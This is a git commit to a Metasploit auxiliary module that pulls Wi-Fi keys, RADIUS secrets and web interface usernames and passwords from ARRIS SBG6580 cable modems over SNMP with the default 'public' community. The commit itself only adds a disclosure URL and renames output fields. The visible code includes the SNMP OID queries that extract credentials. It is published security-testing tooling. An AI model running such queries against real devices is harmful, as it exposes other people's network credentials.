Added disclosure URL and cleaned up output fields

bug/bundler_fix
Matthew Kienow 2014-05-20 02:14:52 -04:00
parent 4ef369112f
commit 5153886077
1 changed files with 5 additions and 4 deletions

View File

@ -21,6 +21,7 @@ class Metasploit3 < Msf::Auxiliary
The default community used is "public".', The default community used is "public".',
'References' => 'References' =>
[ [
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
], ],
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>', 'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
@ -39,7 +40,7 @@ class Metasploit3 < Msf::Auxiliary
"WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2", "WEP Passphrase", "WEP Encryption", "WEP Key 1", "WEP Key 2",
"WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption", "WEP Key 3", "WEP Key 4", "Current Network Key", "WPA Encryption",
"WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port", "WPA Pre-Shared Key (PSK)", "RADIUS Server", "RADIUS Port",
"RADIUS Key", "Device UI Username", "Device UI Password" "RADIUS Key", "Username", "Password"
] ]
output_data = {} output_data = {}
@ -128,15 +129,15 @@ class Metasploit3 < Msf::Auxiliary
# manufacturerLocal(1) - indicates Portal Services is using the vendor # manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device # web user interface shipped with the device
deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s deviceUiUsername = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0').to_s
output_data["Device UI Username"] = deviceUiUsername.strip output_data["Username"] = deviceUiUsername.strip
deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s deviceUiPassword = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0').to_s
output_data["Device UI Password"] = deviceUiPassword.strip output_data["Password"] = deviceUiPassword.strip
end end
# output # output
print_line("") print_line("")
print_status("System information:\n") print_status("Device information:\n")
line = "" line = ""
width = 30 # name field width width = 30 # name field width